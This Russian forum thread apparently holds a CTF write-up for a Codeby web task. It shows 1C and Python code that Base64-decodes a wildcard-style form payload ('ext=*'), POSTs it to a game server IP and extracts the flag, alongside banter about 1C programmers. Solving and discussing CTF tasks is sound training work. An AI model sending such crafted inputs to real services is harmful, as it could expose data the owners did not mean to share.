• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Codeby Games Writeup. Нулевой заказ (Веб)

artesk

One Level
04.08.2023
2
7
BIT
13
Всем привет!


Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

1700486503698.png


1700486548210.png
 

Jackerinho

One Level
20.11.2023
1
1
BIT
0
Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
 
  • Нравится
Реакции: Luxkerr

ALT1RE

Green Team
11.10.2020
44
64
BIT
268
Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:
Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад)));   
СпортивноеТело = "";
    
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;


где:
Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.

После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:
Python:
import requests 

response = requests.post('http://62.173.140.174:16028/', data=ПЕЙЛОАД, headers={'Content-Type': 'application/x-www-form-urlencoded'})

if response.ok:
    print(response.text[response.text.find("CODEBY{"):response.text.find("}", response.text.find("CODEBY{"), len(response.text))+1])
 
  • Нравится
Реакции: sweetpotatohack и yetiraki

artesk

One Level
04.08.2023
2
7
BIT
13
Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:
Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад))); 
СпортивноеТело = "";
  
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;


где:
Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.

После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:
Python:
import requests

response = requests.post('http://62.173.140.174:16028/', data=ПЕЙЛОАД, headers={'Content-Type': 'application/x-www-form-urlencoded'})

if response.ok:
    print(response.text[response.text.find("CODEBY{"):response.text.find("}", response.text.find("CODEBY{"), len(response.text))+1])
Нам(1Сникам) платят не за строчки, а за символы. Я хорошо поднялся на этом сниппете кода! Спасибо за детальный разбор
 
  • Нравится
Реакции: ALT1RE

Cruel Lord

Green Team
29.08.2023
14
7
BIT
92
Всем привет!


Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

Посмотреть вложение 72299

Посмотреть вложение 72300
Вот это вы заморочились)
 

veterok

Green Team
27.09.2016
15
8
BIT
7
Всем привет!


Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

Посмотреть вложение 72299

Посмотреть вложение 72300
Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N",61},{"N",42}}}?
 

sweetpotatohack

New member
24.03.2020
1
0
BIT
20
Всем привет!


Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

Посмотреть вложение 72299

Посмотреть вложение 72300
Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)
 

ALT1RE

Green Team
11.10.2020
44
64
BIT
268
Вы же в курсах что этот таск можно решить по другому? Гораздо легче) вы конечно круто все расписали, приклоняюсь перед вашим скилом. Но решение гораздо проше чем вы думаете)
ну сразу рассказал бы как! к чему эти бессмысленные сообщения плодить?!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!